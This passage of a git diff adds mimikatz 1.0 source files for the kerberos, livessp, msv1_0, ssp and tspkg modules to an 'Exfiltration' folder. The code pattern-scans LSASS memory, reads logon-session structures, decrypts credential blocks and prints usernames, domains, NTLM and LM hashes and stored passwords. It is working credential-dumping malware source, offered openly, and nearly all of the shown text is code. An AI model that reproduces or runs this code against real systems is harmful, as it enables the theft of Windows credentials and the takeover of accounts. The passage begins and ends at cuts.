credentials; + } KIWI_KERBEROS_LOGON_SESSION, *PKIWI_KERBEROS_LOGON_SESSION; + + typedef struct _KIWI_KERBEROS_PRIMARY_CREDENTIAL + { + DWORD unk0; + PVOID unk1; + PVOID unk2; + PVOID unk3; + #ifdef _M_X64 + BYTE unk4[32]; + #elif defined _M_IX86 + BYTE unk4[20]; + #endif + LUID LocallyUniqueIdentifier; + #ifdef _M_X64 + BYTE unk5[44]; + #elif defined _M_IX86 + BYTE unk5[36]; + #endif + KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; + } KIWI_KERBEROS_PRIMARY_CREDENTIAL, *PKIWI_KERBEROS_PRIMARY_CREDENTIAL; + + static PKIWI_KERBEROS_LOGON_SESSION KerbLogonSessionList; + static long offsetMagic; + static PRTL_AVL_TABLE KerbGlobalLogonSessionTable; + static bool searchKerberosFuncs(); + +public: + static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModKERBEROS; + static bool getKerberos(vector * arguments); + static bool WINAPI getKerberosLogonData(__in PLUID logId, __in bool justSecurity); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.cpp new file mode 100644 index 0000000..7f64678 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.cpp @@ -0,0 +1,70 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "livessp.h" +#include "..\..\global.h" +mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_livessp::pModLIVESSP = NULL; +mod_mimikatz_sekurlsa_livessp::PKIWI_LIVESSP_LIST_ENTRY mod_mimikatz_sekurlsa_livessp::LiveGlobalLogonSessionList = NULL;//reinterpret_cast(NULL); + +bool mod_mimikatz_sekurlsa_livessp::getLiveSSP(vector * arguments) +{ + vector> monProvider; + monProvider.push_back(make_pair(getLiveSSPLogonData, wstring(L"livessp"))); + return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); +} + +bool mod_mimikatz_sekurlsa_livessp::searchLiveGlobalLogonSessionList() +{ +#ifdef _M_X64 + BYTE PTRN_WALL_LiveUpdatePasswordForLogonSessions[] = {0x48, 0x83, 0x65, 0xdf, 0x00, 0x48, 0x83, 0x65, 0xef, 0x00, 0x48, 0x83, 0x65, 0xe7, 0x00}; +#elif defined _M_IX86 + BYTE PTRN_WALL_LiveUpdatePasswordForLogonSessions[] = {0x89, 0x5d, 0xdc, 0x89, 0x5d, 0xe4, 0x89, 0x5d, 0xe0}; +#endif + LONG OFFS_WALL_LiveUpdatePasswordForLogonSessions = -(5 + 4); + + if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModLIVESSP && !LiveGlobalLogonSessionList) + { + + PBYTE *pointeur = reinterpret_cast(&LiveGlobalLogonSessionList); + if(HMODULE monModule = LoadLibrary(L"livessp")) + { + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) + { + mod_memory::genericPatternSearch(pointeur, L"livessp", PTRN_WALL_LiveUpdatePasswordForLogonSessions, sizeof(PTRN_WALL_LiveUpdatePasswordForLogonSessions), OFFS_WALL_LiveUpdatePasswordForLogonSessions); + *pointeur += pModLIVESSP->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll); + } + FreeLibrary(monModule); + } + } + return (pModLIVESSP && LiveGlobalLogonSessionList); +} + +bool WINAPI mod_mimikatz_sekurlsa_livessp::getLiveSSPLogonData(__in PLUID logId, __in bool justSecurity) +{ + if(searchLiveGlobalLogonSessionList()) + { + PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL; + BYTE * monBuffP = new BYTE[sizeof(KIWI_LIVESSP_LIST_ENTRY)], * monBuffC = new BYTE[sizeof(KIWI_LIVESSP_PRIMARY_CREDENTIAL)]; + if(PKIWI_LIVESSP_LIST_ENTRY pLogSession = reinterpret_cast(mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast(LiveGlobalLogonSessionList), FIELD_OFFSET(KIWI_LIVESSP_LIST_ENTRY, LocallyUniqueIdentifier), logId))) + { + if(mod_memory::readMemory(pLogSession, monBuffP, sizeof(KIWI_LIVESSP_LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS)) + { + pLogSession = reinterpret_cast(monBuffP); + if(pLogSession->suppCreds) + { + if(mod_memory::readMemory(pLogSession->suppCreds, monBuffC, sizeof(KIWI_LIVESSP_PRIMARY_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS)) + mesCreds = &(reinterpret_cast(monBuffC)->credentials); + } + else (*outputStream) << L"n.s. (SuppCred KO) / "; + } + } + mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity, true); + delete [] monBuffC, monBuffP; + } + else (*outputStream) << L"n.a. (livessp KO)"; + return true; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.h new file mode 100644 index 0000000..891da63 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.h @@ -0,0 +1,44 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_livessp { + +private: + typedef struct _KIWI_LIVESSP_PRIMARY_CREDENTIAL + { + DWORD isSupp; // 88h + DWORD unk0; + KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; + } KIWI_LIVESSP_PRIMARY_CREDENTIAL, *PKIWI_LIVESSP_PRIMARY_CREDENTIAL; + + typedef struct _KIWI_LIVESSP_LIST_ENTRY + { + struct _KIWI_LIVESSP_LIST_ENTRY *Flink; + struct _KIWI_LIVESSP_LIST_ENTRY *Blink; + PVOID unk0; // 1 + PVOID unk1; // 0FFFFFFFFh + PVOID unk2; // 0FFFFFFFFh + PVOID unk3; // 0 + DWORD unk4; // 0 + DWORD unk5; // 0 + PVOID unk6; // 20007D0h + LUID LocallyUniqueIdentifier; + LSA_UNICODE_STRING UserName; + PVOID unk7; // 2000010Dh + PKIWI_LIVESSP_PRIMARY_CREDENTIAL suppCreds; + } KIWI_LIVESSP_LIST_ENTRY, *PKIWI_LIVESSP_LIST_ENTRY; + + static PKIWI_LIVESSP_LIST_ENTRY LiveGlobalLogonSessionList; + static bool searchLiveGlobalLogonSessionList(); + +public: + static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModLIVESSP; + static bool getLiveSSP(vector * arguments); + static bool WINAPI getLiveSSPLogonData(__in PLUID logId, __in bool justSecurity); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.cpp new file mode 100644 index 0000000..39fa015 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.cpp @@ -0,0 +1,217 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "msv1_0.h" +#include "..\..\global.h" +PLIST_ENTRY mod_mimikatz_sekurlsa_msv1_0::LogonSessionList = NULL; +PULONG mod_mimikatz_sekurlsa_msv1_0::LogonSessionListCount = NULL; + +bool mod_mimikatz_sekurlsa_msv1_0::getMSV(vector * arguments) +{ + vector> monProvider; + monProvider.push_back(make_pair(getMSVLogonData, wstring(L"msv1_0"))); + return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); +} + +bool mod_mimikatz_sekurlsa_msv1_0::searchLogonSessionList() +{ +#ifdef _M_X64 + BYTE PTRN_WIN6_LogonSessionList[] = {0x4C, 0x03, 0xD8, 0x49, 0x8B, 0x03, 0x48, 0x89};//, 0x06, 0x4C, 0x89, 0x5E}; + BYTE PTRN_WIN5_LogonSessionList[] = {0x4C, 0x8B, 0xDF, 0x49, 0xC1, 0xE3, 0x04, 0x48, 0x8B, 0xCB, 0x4C, 0x03, 0xD8}; + + LONG OFFS_WALL_LogonSessionList = -sizeof(long); + LONG OFFS_WN60_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 8 + 7 + 4 + 4 + 2 + 3 + 3 + sizeof(long)); + LONG OFFS_WN61_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 8 + 7 + 4 + 4 + 2 + 3 + 2 + sizeof(long)); + LONG OFFS_WIN5_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 6 + 3 + 8 + 4 + 4 + 2 + 3 + 2 + 2 + sizeof(long)); + LONG OFFS_WIN8_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 3 + 7 + 7 + 4 + 4 + 2 + 3 + 2 + sizeof(long)); +#elif defined _M_IX86 + BYTE PTRN_WNO8_LogonSessionList[] = {0x89, 0x71, 0x04, 0x89, 0x30, 0x8D, 0x04, 0xBD}; + BYTE PTRN_WIN8_LogonSessionList[] = {0x89, 0x79, 0x04, 0x89, 0x38, 0x8D, 0x04, 0xB5}; + BYTE PTRN_WN51_LogonSessionList[] = {0xFF, 0x50, 0x10, 0x85, 0xC0, 0x0F, 0x84}; + + LONG OFFS_WNO8_LogonSessionList = -(7 + (sizeof(LONG))); + LONG OFFS_WIN8_LogonSessionList = -(6 + 3 + 3 + 2 + 2 + (sizeof(LONG))); + LONG OFFS_WN51_LogonSessionList = sizeof(PTRN_WN51_LogonSessionList) + 4 + 5 + 1 + 6 + 1; + LONG OFFS_WNO8_LogonSessionListCount = OFFS_WNO8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 3 + 1 + sizeof(long)); + LONG OFFS_WIN5_LogonSessionListCount = OFFS_WNO8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 1 + 3 + 1 + sizeof(long)); + LONG OFFS_WIN8_LogonSessionListCount = OFFS_WIN8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 3 + 1 + sizeof(long)); +#endif + if(mod_mimikatz_sekurlsa::searchLSASSDatas() && mod_mimikatz_sekurlsa::hLsaSrv && mod_mimikatz_sekurlsa::pModLSASRV && !LogonSessionList) + { + PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offsetListe = 0, offsetCount = 0; +#ifdef _M_X64 + offsetListe = OFFS_WALL_LogonSessionList; + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + pattern = PTRN_WIN5_LogonSessionList; + taille = sizeof(PTRN_WIN5_LogonSessionList); + offsetCount = OFFS_WIN5_LogonSessionListCount; + } + else + { + pattern = PTRN_WIN6_LogonSessionList; + taille = sizeof(PTRN_WIN6_LogonSessionList); + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + offsetCount = (mod_system::GLOB_Version.dwMinorVersion < 1) ? OFFS_WN60_LogonSessionListCount : OFFS_WN61_LogonSessionListCount; + else + offsetCount = OFFS_WIN8_LogonSessionListCount; + } +#elif defined _M_IX86 + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { + if((mod_system::GLOB_Version.dwMajorVersion == 5) && (mod_system::GLOB_Version.dwMinorVersion == 1)) + { + pattern = PTRN_WN51_LogonSessionList; + taille = sizeof(PTRN_WN51_LogonSessionList); + offsetListe = OFFS_WN51_LogonSessionList; + } + else + { + pattern = PTRN_WNO8_LogonSessionList; + taille = sizeof(PTRN_WNO8_LogonSessionList); + offsetListe = OFFS_WNO8_LogonSessionList; + offsetCount = (mod_system::GLOB_Version.dwMajorVersion < 6) ? OFFS_WIN5_LogonSessionListCount : OFFS_WNO8_LogonSessionListCount; + } + } + else + { + pattern = PTRN_WIN8_LogonSessionList; + taille = sizeof(PTRN_WIN8_LogonSessionList); + offsetListe = OFFS_WIN8_LogonSessionList; + offsetCount = OFFS_WIN8_LogonSessionListCount; + } +#endif + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), mod_mimikatz_sekurlsa::hLsaSrv, &mesInfos, sizeof(MODULEINFO))) + { + pointeur = reinterpret_cast(&LogonSessionList); + if(mod_memory::genericPatternSearch(pointeur, L"lsasrv", pattern, taille, offsetListe)) + { + *pointeur += mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll); + if(offsetCount) + { + pointeur = reinterpret_cast(&LogonSessionListCount); + if(mod_memory::genericPatternSearch(pointeur, L"lsasrv", pattern, taille, offsetCount)) + *pointeur += mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll); + } + } + } + } + return (mod_mimikatz_sekurlsa::hLsaSrv && mod_mimikatz_sekurlsa::pModLSASRV && LogonSessionList && (((mod_system::GLOB_Version.dwMajorVersion == 5) && (mod_system::GLOB_Version.dwMinorVersion == 1)) || LogonSessionListCount)); +} + +bool WINAPI mod_mimikatz_sekurlsa_msv1_0::getMSVLogonData(__in PLUID logId, __in bool justSecurity) +{ + if(searchLogonSessionList()) + { + LONG offsetToLuid, offsetToCredentials; + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + offsetToLuid = FIELD_OFFSET(KIWI_MSV1_0_LIST_5, LocallyUniqueIdentifier); + offsetToCredentials = FIELD_OFFSET(KIWI_MSV1_0_LIST_5, Credentials); + } + else + { + offsetToLuid = FIELD_OFFSET(KIWI_MSV1_0_LIST_6, LocallyUniqueIdentifier); + offsetToCredentials = FIELD_OFFSET(KIWI_MSV1_0_LIST_6, Credentials); + if(mod_system::GLOB_Version.dwBuildNumber >= 8000) // pas encore pris le temps de regarder les structures de 8 + { +#ifdef _M_X64 + offsetToCredentials += 4*sizeof(PVOID); +#elif defined _M_IX86 + offsetToCredentials += 2*sizeof(PVOID); +#endif + } + } + + ULONG nbListes = 0; + if(LogonSessionListCount) + mod_memory::readMemory(LogonSessionListCount, &nbListes, sizeof(nbListes), mod_mimikatz_sekurlsa::hLSASS); + else nbListes = 1; + + PLIST_ENTRY pLogSession = NULL; + for(ULONG i = 0; i < nbListes; i++) + { + if(pLogSession = mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast(LogonSessionList + i), offsetToLuid, logId)) + { + BYTE * kiwiMSVListEntry = new BYTE[offsetToCredentials + sizeof(PVOID)]; + if(mod_memory::readMemory(pLogSession, kiwiMSVListEntry, offsetToCredentials + sizeof(PVOID), mod_mimikatz_sekurlsa::hLSASS)) + { + PVOID monPtr = *reinterpret_cast(kiwiMSVListEntry + offsetToCredentials); + if(monPtr) + { + BYTE * kiwiMSVCredentials = new BYTE[sizeof(KIWI_MSV1_0_CREDENTIALS)]; + if(mod_memory::readMemory(monPtr, kiwiMSVCredentials, sizeof(KIWI_MSV1_0_CREDENTIALS), mod_mimikatz_sekurlsa::hLSASS)) + { + PKIWI_MSV1_0_CREDENTIALS mesCreds = reinterpret_cast(kiwiMSVCredentials); + if(mesCreds->PrimaryCredentials) + { + BYTE * kiwiMSVPrimaryCredentials = new BYTE[sizeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS)]; + if(mod_memory::readMemory(mesCreds->PrimaryCredentials, kiwiMSVPrimaryCredentials, sizeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS), mod_mimikatz_sekurlsa::hLSASS)) + { + decryptAndDisplayCredsBlock(&reinterpret_cast(kiwiMSVPrimaryCredentials)->Credentials, justSecurity); + } else (*outputStream) << L"n.e. (Lecture KIWI_MSV1_0_PRIMARY_CREDENTIALS KO)"; + delete [] kiwiMSVPrimaryCredentials; + + } else (*outputStream) << L"n.s. (PrimaryCredentials KO)"; + + }else (*outputStream) << L"n.e. (Lecture KIWI_MSV1_0_CREDENTIALS KO)"; + delete [] kiwiMSVCredentials; + + } else (*outputStream) << L"n.s. (Credentials KO)"; + + } else (*outputStream) << L"n.e. (Lecture KIWI_MSV1_0_LIST KO)"; + delete [] kiwiMSVListEntry; + + break; + } + } + if(!pLogSession) + (*outputStream) << L"n.t. (LUID KO)"; + } + else (*outputStream) << L"n.a. (msv1_0 KO)"; + return true; +} + +bool mod_mimikatz_sekurlsa_msv1_0::decryptAndDisplayCredsBlock(LSA_UNICODE_STRING * monBlock, bool justSecurity) +{ + if(monBlock->Length > 0 && monBlock->MaximumLength > 0 && monBlock->Buffer) + { + BYTE * monBuffer = new BYTE[monBlock->MaximumLength]; + if(mod_memory::readMemory(monBlock->Buffer, monBuffer, monBlock->MaximumLength, mod_mimikatz_sekurlsa::hLSASS)) + { + mod_mimikatz_sekurlsa::SeckPkgFunctionTable->LsaUnprotectMemory(monBuffer, monBlock->Length); + PMSV1_0_PRIMARY_CREDENTIAL mesCreds = reinterpret_cast(monBuffer); + + NlpMakeRelativeOrAbsoluteString(mesCreds, &mesCreds->UserName, false); + NlpMakeRelativeOrAbsoluteString(mesCreds, &mesCreds->LogonDomainName, false); + + wstring lmHash = mod_text::stringOfHex(mesCreds->LmOwfPassword, sizeof(mesCreds->LmOwfPassword)); + wstring ntHash = mod_text::stringOfHex(mesCreds->NtOwfPassword, sizeof(mesCreds->NtOwfPassword)); + + if(justSecurity) + (*outputStream) << L"lm{ " << lmHash << L" }, ntlm{ " << ntHash << L" }"; + else + { + (*outputStream) << endl << + L"\t * Utilisateur : " << mod_text::stringOfSTRING(mesCreds->UserName) << endl << + L"\t * Domaine : " << mod_text::stringOfSTRING(mesCreds->LogonDomainName) << endl << + L"\t * Hash LM : " << lmHash << endl << + L"\t * Hash NTLM : " << ntHash; + } + } else (*outputStream) << L"n.e. (Lecture Block Credentials KO)"; + + delete [] monBuffer; + } else (*outputStream) << L"n.s. (Block Credentials KO)"; + + return true; +} + +void mod_mimikatz_sekurlsa_msv1_0::NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative) +{ + if(String->Buffer) + String->Buffer = reinterpret_cast(reinterpret_cast(String->Buffer) + ((relative ? -1 : 1) * reinterpret_cast(BaseAddress))); +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.h new file mode 100644 index 0000000..cf8ccac --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.h @@ -0,0 +1,105 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_msv1_0 { + +private: + typedef struct _KIWI_MSV1_0_PRIMARY_CREDENTIALS { + PVOID unk0; // next? + LSA_UNICODE_STRING Primary; + LSA_UNICODE_STRING Credentials; + } KIWI_MSV1_0_PRIMARY_CREDENTIALS, *PKIWI_MSV1_0_PRIMARY_CREDENTIALS; + + typedef struct _KIWI_MSV1_0_CREDENTIALS { + PVOID unk0; // next? + DWORD AuthenticationPackageId; + PVOID PrimaryCredentials; + } KIWI_MSV1_0_CREDENTIALS, *PKIWI_MSV1_0_CREDENTIALS; + + typedef struct _KIWI_MSV1_0_LIST_5 { + struct _KIWI_MSV1_0_LIST_5 *Flink; + struct _KIWI_MSV1_0_LIST_5 *Blink; + LUID LocallyUniqueIdentifier; + LSA_UNICODE_STRING UserName; + LSA_UNICODE_STRING Domaine; + PVOID unk14; // 0 + PVOID unk15; // 0 + PVOID unk16; // offset unk_181A080 + DWORD unk17; // 0Ah + DWORD unk18; // 2 + #ifdef _M_IX86 + DWORD unk19; + #endif + DWORD unk20; // 5AC4186Ch + DWORD unk21; // 1CD6BFDh + LSA_UNICODE_STRING LogonServer; + PKIWI_MSV1_0_CREDENTIALS Credentials; + PVOID unk22; // 0C14h + PVOID unk23; // 0BFCh + } KIWI_MSV1_0_LIST_5, *PKIWI_MSV1_0_LIST_5; + + typedef struct _KIWI_MSV1_0_LIST_6 { + struct _KIWI_MSV1_0_LIST_6 *Flink; + struct _KIWI_MSV1_0_LIST_6 *Blink; + PVOID unk0; // unk_18457A0 + DWORD unk1; // 0FFFFFFFFh + DWORD unk2; // 0 + PVOID unk3; // 0 + PVOID unk4; // 0 + PVOID unk5; // 0 + PVOID unk6; // 0C04h + PVOID unk7; // 0 + PVOID unk8; // 0C08h + PVOID unk9; // 0 + PVOID unk10; // 0 + DWORD unk11; // 0 + DWORD unk12; // 0 + PVOID unk13; // offset off_18456A0 + LUID LocallyUniqueIdentifier; + LUID SecondaryLocallyUniqueIdentifier; + LSA_UNICODE_STRING UserName; + LSA_UNICODE_STRING Domaine; + PVOID unk14; // 0 Windows 8 + 2*PVOID / 4*PVOID!! + PVOID unk15; // 0 + PVOID unk16; // offset unk_181A080 + DWORD unk17; // 0Ah + DWORD unk18; // 2 + #ifdef _M_IX86 + DWORD unk19; + #endif + DWORD unk20; // 5AC4186Ch + DWORD unk21; // 1CD6BFDh + LSA_UNICODE_STRING LogonServer; + PKIWI_MSV1_0_CREDENTIALS Credentials; + PVOID unk22; // 0C14h + PVOID unk23; // 0BFCh + } KIWI_MSV1_0_LIST_6, *PKIWI_MSV1_0_LIST_6; + + typedef struct _MSV1_0_PRIMARY_CREDENTIAL { + LSA_UNICODE_STRING LogonDomainName; + LSA_UNICODE_STRING UserName; + BYTE NtOwfPassword[0x10]; + BYTE LmOwfPassword[0x10]; + BOOLEAN NtPasswordPresent; + BOOLEAN LmPasswordPresent; + wchar_t BuffDomaine[MAX_DOMAIN_LEN]; + wchar_t BuffUserName[MAX_USERNAME_LEN]; + } MSV1_0_PRIMARY_CREDENTIAL, *PMSV1_0_PRIMARY_CREDENTIAL; + + static void NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative = true); + + static PLIST_ENTRY LogonSessionList; + static PULONG LogonSessionListCount; + static bool searchLogonSessionList(); + + static bool decryptAndDisplayCredsBlock(LSA_UNICODE_STRING * monBlock, bool justSecurity); +public: + static bool getMSV(vector * arguments); + static bool WINAPI getMSVLogonData(__in PLUID logId, __in bool justSecurity); +}; \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.cpp new file mode 100644 index 0000000..86dab86 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.cpp @@ -0,0 +1,92 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "ssp.h" +#include "..\..\global.h" +mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_ssp::pModMSV = NULL; +mod_mimikatz_sekurlsa_ssp::PKIWI_SSP_CREDENTIAL_LIST_ENTRY mod_mimikatz_sekurlsa_ssp::SspCredentialList = NULL; + +bool mod_mimikatz_sekurlsa_ssp::getSSP(vector * arguments) +{ + vector> monProvider; + monProvider.push_back(make_pair(getSSPLogonData, wstring(L"ssp"))); + return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); +} + +bool mod_mimikatz_sekurlsa_ssp::searchSSPEntryList() +{ +#ifdef _M_X64 + BYTE PTRN_WIN5_SspCredentialList[]= {0xc7, 0x43, 0x24, 0x43, 0x72, 0x64, 0x41, 0xff, 0x15}; + LONG OFFS_WIN5_SspCredentialList = sizeof(PTRN_WIN5_SspCredentialList) + 4 + 3; + BYTE PTRN_WIN6_SspCredentialList[]= {0xc7, 0x47, 0x24, 0x43, 0x72, 0x64, 0x41, 0x48, 0x89, 0x47, 0x78, 0xff, 0x15}; + LONG OFFS_WIN6_SspCredentialList = sizeof(PTRN_WIN6_SspCredentialList) + 4 + 3; +#elif defined _M_IX86 + BYTE PTRN_WALL_SspCredentialList[]= {0x1c, 0x43, 0x72, 0x64, 0x41, 0xff, 0x15}; + LONG OFFS_WALL_SspCredentialList = sizeof(PTRN_WALL_SspCredentialList) + 4 + 1; +#endif + + if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModMSV && !SspCredentialList) + { + PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0; + pointeur= reinterpret_cast(&SspCredentialList); + +#ifdef _M_X64 + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + pattern = PTRN_WIN5_SspCredentialList; + taille = sizeof(PTRN_WIN5_SspCredentialList); + offset = OFFS_WIN5_SspCredentialList; + } + else + { + pattern = PTRN_WIN6_SspCredentialList; + taille = sizeof(PTRN_WIN6_SspCredentialList); + offset = OFFS_WIN6_SspCredentialList; + } +#elif defined _M_IX86 + pattern = PTRN_WALL_SspCredentialList; + taille = sizeof(PTRN_WALL_SspCredentialList); + offset = OFFS_WALL_SspCredentialList; +#endif + if(HMODULE monModule = LoadLibrary(L"msv1_0")) + { + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) + { + mod_memory::genericPatternSearch(pointeur, L"msv1_0", pattern, taille, offset); + *pointeur += pModMSV->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll); + } + FreeLibrary(monModule); + } + } + return (SspCredentialList != NULL); +} + +bool WINAPI mod_mimikatz_sekurlsa_ssp::getSSPLogonData(__in PLUID logId, __in bool justSecurity) +{ + if(searchSSPEntryList()) + { + KIWI_SSP_CREDENTIAL_LIST_ENTRY mesCredentials; + DWORD monNb = 0; + if(mod_memory::readMemory(SspCredentialList, &mesCredentials, sizeof(LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS)) + { + while(mesCredentials.Flink != SspCredentialList) + { + if(mod_memory::readMemory(mesCredentials.Flink, &mesCredentials, sizeof(KIWI_SSP_CREDENTIAL_LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS)) + { + if(RtlEqualLuid(logId, &(mesCredentials.LogonId))) + { + mod_mimikatz_sekurlsa::genericCredsToStream(&mesCredentials.credentials, justSecurity, true, &monNb); + monNb++; + } + } + } + } + } + else (*outputStream) << L"n.a. (SSP KO)"; + + return true; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.h new file mode 100644 index 0000000..d2d5396 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.h @@ -0,0 +1,32 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_ssp { + +private: + typedef struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY { + struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY *Flink; + struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY *Blink; + ULONG References; + ULONG CredentialReferences; + LUID LogonId; + ULONG unk0; + ULONG unk1; + ULONG unk2; + KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; + } KIWI_SSP_CREDENTIAL_LIST_ENTRY, *PKIWI_SSP_CREDENTIAL_LIST_ENTRY; + + static PKIWI_SSP_CREDENTIAL_LIST_ENTRY SspCredentialList; + static bool searchSSPEntryList(); + +public: + static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModMSV; + static bool getSSP(vector * arguments); + static bool WINAPI getSSPLogonData(__in PLUID logId, __in bool justSecurity); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.cpp new file mode 100644 index 0000000..71e3751 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.cpp @@ -0,0 +1,94 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "tspkg.h" +#include "..\..\global.h" +mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_tspkg::pModTSPKG = NULL; +PRTL_AVL_TABLE mod_mimikatz_sekurlsa_tspkg::TSGlobalCredTable = NULL; //reinterpret_cast(NULL); + +bool mod_mimikatz_sekurlsa_tspkg::getTsPkg(vector * arguments) +{ + vector> monProvider; + monProvider.push_back(make_pair(getTsPkgLogonData, wstring(L"tspkg"))); + return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); +} + +bool mod_mimikatz_sekurlsa_tspkg::searchTSPKGFuncs() +{ +#ifdef _M_X64 + BYTE 